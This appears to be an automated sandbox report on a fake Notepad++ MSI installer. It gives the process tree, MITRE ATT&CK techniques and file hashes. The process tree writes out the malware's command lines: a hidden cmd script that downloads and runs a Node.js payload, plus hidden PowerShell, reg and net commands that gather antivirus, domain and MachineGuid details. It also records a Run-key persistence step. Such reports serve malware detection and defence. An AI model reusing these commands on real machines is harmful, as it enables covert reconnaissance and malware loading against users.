  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5796,i,7172570313092785804,9794515938793743236,2097152 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5908 /prefetch:1
  2⤵
  PID:2968
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4844,i,18133465200890095910,5125643849351697504,2097152 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4964 /prefetch:1
  2⤵
  PID:1988
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=4976,i,16982574101975317449,9620880111000736561,2097152 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6104 /prefetch:1
  2⤵
  PID:3720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5204,i,6528897343451323483,7078761396922395822,2097152 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3216 /prefetch:1
  2⤵
  PID:6040
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5276,i,13244091065080720100,1534540718515073627,524288 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4628 /prefetch:14
  2⤵
  - NTFS ADS
  PID:4604
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5764,i,9074373658426533227,13522129754009362598,524288 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6128 /prefetch:14
  2⤵
  PID:4556
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6408,i,10639051832667292650,965069426721284544,524288 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6172 /prefetch:14
  2⤵
  PID:3116
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4924,i,11837421097579365935,17877203096423047199,524288 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4824 /prefetch:14
  2⤵
  PID:3184
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5292,i,7670137242609853501,16489555191999338723,262144 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5948 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=6012,i,6808474305393793521,16732015810203942317,524288 --field-trial-handle=2060,i,15371753090605473699,4477443738392338627,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4436 /prefetch:14
  2⤵
  PID:5868

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2840

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:424

C:\Windows\System32\msiexec.exe
"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\notepadpp.msi"
1⤵
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
PID:5848

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4396
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:3732
- C:\Windows\system32\conhost.exe
  conhost --headless cmd /c "YnBdQYWW.cmd"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Windows\system32\cmd.exe
    cmd /c YnBdQYWW.cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:688
  - - C:\Windows\System32\conhost.exe
      C:\Windows\System32\conhost --headless C:\Windows\System32\cmd /c call "C:\Users\Admin\AppData\Local\3H2bPuqDuapW\YnBdQYWW.cmd" P70R
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2668
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd /c call C:\Users\Admin\AppData\Local\3H2bPuqDuapW\YnBdQYWW.cmd P70R
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2932
      - C:\Windows\system32\where.exe
        
        where node
        6⤵
        
        PID:5316
      - C:\Windows\system32\curl.exe
        
        curl -sLo "C:\Users\Admin\AppData\Local\Temp\node-v18.20.5-win-x64.zip" "https://nodejs.org/dist/v18.20.5/node-v18.20.5-win-x64.zip"
        6⤵
        
        PID:1188
      - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\AppData\Local\Temp\node-v18.20.5-win-x64.zip" -C "C:\Users\Admin\AppData\Local\3H2bPuqDuapW"
        6⤵
        
        PID:444
      - C:\Windows\System32\conhost.exe
        
        C:\Windows\System32\conhost --headless "C:\Users\Admin\AppData\Local\3H2bPuqDuapW\jJYRKV\node.exe" "C:\Users\Admin\AppData\Local\3H2bPuqDuapW\TubyvFf9Lr.ini"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5916
        
        C:\Users\Admin\AppData\Local\3H2bPuqDuapW\jJYRKV\node.exe
        
        C:\Users\Admin\AppData\Local\3H2bPuqDuapW\jJYRKV\node.exe C:\Users\Admin\AppData\Local\3H2bPuqDuapW\TubyvFf9Lr.ini
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3720
        
        C:\Users\Admin\AppData\Local\3H2bPuqDuapW\jJYRKV\VSrEhyNu.exe
        
        C:\Users\Admin\AppData\Local\3H2bPuqDuapW\jJYRKV\VSrEhyNu.exe -
        8⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious use of WriteProcessMemory
        
        PID:3112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name""
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:1768
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name""
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:5368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5580
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '""
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:1920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5660
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }""
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:5508
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:108
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain""
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:1616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4768
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain""
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:5740
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5560
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3412
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:432
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:1984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName"
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:4488
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
        10⤵
        
        PID:3568
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3588
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
        10⤵
        
        PID:2392
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '""
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:2596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }""
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:1452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain""
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:4832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain""
        9⤵
        
        PID:1400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain"
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        9⤵
        
        PID:2276
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6048
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:5304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName"
        9⤵
        
        PID:3508
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
        10⤵
        
        PID:4048
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
        9⤵
        
        PID:5408
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
        10⤵
        
        PID:5564

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:2892

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58c35c.rbs

Path C:\Config.Msi\e58c35c.rbs
Size 9KB
SHA256 6fdc21ba03366a4152e6b1defb2a3a190b152d1d05286e904cecef6bfff3c233
MD5 0cd9262302d589417a423fb61348359e
SHA1 ec7197cebbd13ffdbcfe28bea53e328e6b91e718
SHA512 1d114cc74633d4fcfdddd42e987c907e6852076e09cafa1102913f267d559f8f7cc8680234aefe9492bf4214d560f359fd420aa57cd42f1c730fb01a608b7341
SSDEEP 192:qUXzSNl3jCQoBgsLI91BgsLfeJ9YXNZiAp8H:qUXzSNl3aBgsQ1BgsbCYXNZkH
TLSH
T111121001B645C6E6DA6E2B35E7131B14776BA3FAC711631F098DD5241F227E88B88CCB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TubyvFf9Lr.ini

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\TubyvFf9Lr.ini
Size 5KB
SHA256 de71ad5ae8c16f499979b240b1d6ce536f923a8b31bee9b1a1e7f8b941b2ff7a
MD5 846212a24f3381dae293ec223ffc4434
SHA1 e42eb5731589e7ea294e5d851b0a1a701e08415b
SHA512 db24f65158660f0449bc1db2e214d760a009e953b5d500e7582c49b2d442e3996bf80502fd74c0ae43983b3fcf5dc26abd3ea2683f7bd2a22b41294887f919b3
SSDEEP 96:4wx4AN8XH4ks5uDZ5xjXIoHVFOGv8U6FvChhmoxG4l5th44Z5:4wx4AYH4ks5ul5xjXIo1FOGvmxCvfd4c
TLSH
T1B0B16DB51769A415222C60678C8E3BFB66F6551279CDE0CACC25AACE10E3720F62BD1D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

YnBdQYWW.cmd

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\YnBdQYWW.cmd
Size 1KB
SHA256 11587fb833e7fea106fdee6b7eed0d602b8cec1b1c2f6fe8e9307d5e519850d2
MD5 9807cbcc70ea59214f9592961c4e65a1
SHA1 ee65f6d7ad40e70287f2a033f4071c21291d53e6
SHA512 b5540732e01fd087b8e2acfa3943679eb16ad8a986ba3ce6ed429d7af26fdea3efb4f2ebf73a1c333a47a5f9ac5c0c746e0ad1da96f6ebf0a6a3f8cbd15ca482
TLSH
T14A31121516121F7AFCFE0645C6440717737ED9B292BBF6CFE0C8706B4AAA1053360970
MD5 SHA1 SHA512 TLSH

Submit Download

iMrzTLTuiI6usif.tmp

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\iMrzTLTuiI6usif.tmp
Size 7KB
SHA256 d5c38f52f338dd6a509e6bd9aa1fe0f3c0e9934f3c2eee313dbb80b7181a8b18
MD5 280c2f3ef786948cb62ca4a9535dd957
SHA1 5094fb1a6ba4cac663637c272edfaffbd183a559
SHA512 bdf3bfcd45dfe792b0333f05de5c75de6f4f363406ed124681e6a740338f1fb25dd2fb0dfdd8b921c897b11e9069e6d5288d7165e1b45b5ae96a5fe8327e3625
SSDEEP 192:IyLHsierm6w6kxYS/5vLm4qaI3b48LFaeCGvQEyrS:lLMiervhkxYSBvLf0b49eCoHF
TLSH
T1BAF1AF424A3E47183259A0A8BDBD06B4C82350BAA96F7F19D3B91C6EAA3B9D04753441
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\@sigstore\tuf\LICENSE
Size 11KB
SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
MD5 dfc1b916d4555a69859202f8bd8ad40c
SHA1 fc22b6ee39814d22e77fe6386c883a58ecac6465
SHA512 1fbe6bb1f60c8932e4dcb927fc8c8131b9c73afd824ecbabc2045e7af07b35a4155a0f8ad3103bf25f192b6d59282bfc927aead3cb7aaeb954e1b6dbd68369fa
SSDEEP 192:qf9qG4QSAVOSbwF1wOFXuFJyQtxmG3ep/7rlzKfHbxc+Xq0rhlkT8cHfH2:kOu9b01DY/rGBt+dc+aclkT8cH+
TLSH
T1B932722BBA4903771AF20162AB4764CEF31EA03F37591525315CC1682F7B96183FB69E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

shared.types.js

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\@sigstore\verify\dist\shared.types.js
Size 79B
SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
MD5 24563705cc4bb54fccd88e52bc96c711
SHA1 871fa42907b821246de04785a532297500372fc7
SHA512 2ce8d2cf580623358fef5f4f8925d0c9943a657c2503c80048ca789bf16eacdb980bfc8aaaa50101a738e939926fcf2545500484dcad782c700ee206d8c6f9b9
TLSH
T1C4A01201A934C5F1038000C44525E0C1A0C10432006528A55BA84D65440088C5050001
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\bin-links\LICENSE
Size 754B
SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
MD5 d2cf52aa43e18fdc87562d4c1303f46a
SHA1 58fb4a65fffb438630351e7cafd322579817e5e1
SHA512 54e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16
TLSH
T1DC01208FB2E52AD454D19BA53DA1EC8961C9F0773D43AA0430B4E34CCBB780F98AB404
MD5 SHA1 SHA512 TLSH

Submit Download

license

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\chalk\license
Size 1KB
SHA256 fcf1a18be2e25ba82acf2c59821b030d8ee764e4e201db6ef3c51900d385515f
MD5 b862aeb7e1d01452e0f07403591e5a55
SHA1 b8765be74fea9525d978661759be8c11bab5e60e
SHA512 885369fe9b8cb0af1107ee92b52c6a353da7cf75bc86abb622e2b637c81e9c5ffe36b0ac74e11cfb66a7a126b606fe7a27e91f3f4338954c847ed2280af76a5f
TLSH
T1A821961E72551363186613E069A9ACC5B32BB11F7DAF5684286DF248633746CD4FB844
MD5 SHA1 SHA512 TLSH

Submit Download

license

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\indent-string\license
Size 1KB
SHA256 67292c32894c8ac99db06ffa1cb8e9a5171ef988120723ebe673bf76712260ec
MD5 5ad87d95c13094fa67f25442ff521efd
SHA1 01f1438a98e1b796e05a74131e6bb9d66c9e8542
SHA512 7187720ccd335a10c9698f8493d6caa2d404e7b21731009de5f0da51ad5b9604645fbf4bc640aa94513b9eb372aa6a31df2467198989234bc2afbce87f76fbc3
TLSH
T18521961D72551363186613A069A9ACC5B32BB11F7DAF5684286DF248633746CD4FB844
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\ini\LICENSE
Size 780B
SHA256 3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706
MD5 b020de8f88eacc104c21d6e6cacc636d
SHA1 20b35e641e3a5ea25f012e13d69fab37e3d68d6b
SHA512 4220617e29dd755ad592295bc074d6bc14d44a1feeed5101129669f3ecf0e34eaa4c7c96bbc83da7352631fa262baab45d4a370dad7dabec52b66f1720c28e38
TLSH
T1D501418FB2A12A8414D09B643DA1EC8971C9F03B3C43AA153074E258C7BB80F947A400
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\libnpmsearch\LICENSE
Size 730B
SHA256 2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013
MD5 072ac9ab0c4667f8f876becedfe10ee0
SHA1 0227492dcdc7fb8de1d14f9d3421c333230cf8fe
SHA512 f38fd6506bd9795bb27d31f1ce38b08c9e6f1689c34fca90e9e1d5194fa064d1f34a9c51d15941506ebbbcd6d4193055e9664892521b7e39ebcd61c3b6f25013
TLSH
T1C001D08FA2D12AD454D59F643DA1BD4861C9F17B7D43AB043074E358DB7744F986A404
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\minimatch\dist\commonjs\package.json
Size 28B
SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
MD5 56368b3e2b84dac2c9ed38b5c4329ec2
SHA1 f67c4acef5973c256c47998b20b5165ab7629ed4
SHA512 d662bff3885118e607079fcbeedb27368589bc0ee89f90b9281723fa08bda65e5a08d9640da188773193c0076ec0a5c92624673a6a961490be163e2553d6f482
MD5 SHA1 SHA512

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\minimatch\dist\esm\package.json
Size 26B
SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
MD5 2324363c71f28a5b7e946a38dc2d9293
SHA1 7eda542849fb3a4a7b4ba8a7745887adcade1673
SHA512 7437cf8f337d2562a4046246fbfcc5e9949f475a1435e94efbc4b6a55880050077d72692cbc3413e0ccd8f36adf9956a6cc633a2adc85fbff6c4aa2b8edac677
MD5 SHA1 SHA512

Submit Download

LICENSE.md

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\npm-profile\LICENSE.md
Size 818B
SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
MD5 2916d8b51a5cc0a350d64389bc07aef6
SHA1 c9d5ac416c1dd7945651bee712dbed4d158d09e1
SHA512 508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74
TLSH
T14301128A62E62A9055D19F956DA2B89E61CCF0673903681430B4E24CDA7704AC07E414
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\promise-call-limit\LICENSE
Size 763B
SHA256 1fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7
MD5 7428aa9f83c500c4a434f8848ee23851
SHA1 166b3e1c1b7d7cb7b070108876492529f546219f
SHA512 c7f01de85f0660560206784cdf159b2bdc5f1bc87131f5a8edf384eba47a113005491520b0a25d3cc425985b5def7b189e18ff76d7d562c434dc5d8c82e90cce
TLSH
T14701F18FB2A16A9454D19B653DA1ED8961CDF0373D43AA143075E258C77780FA46A404
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\LICENSE
Size 802B
SHA256 04400db77d925de5b0264f6db5b44fe6f8b94f9419ad3473caaa8065c525c0be
MD5 d7c8fab641cd22d2cd30d2999cc77040
SHA1 d293601583b1454ad5415260e4378217d569538e
SHA512 278ff929904be0c19ee5fb836f205e3e5b3e7cec3d26dd42bbf1e7e0ca891bf9c42d2b28fce3741ae92e4a924baf7490c7c6c59284127081015a82e2653e0764
TLSH
T15F01128FB295269419D09B943DA1AC8961C9F0773D43AE153074E248C7AB40EA47A404
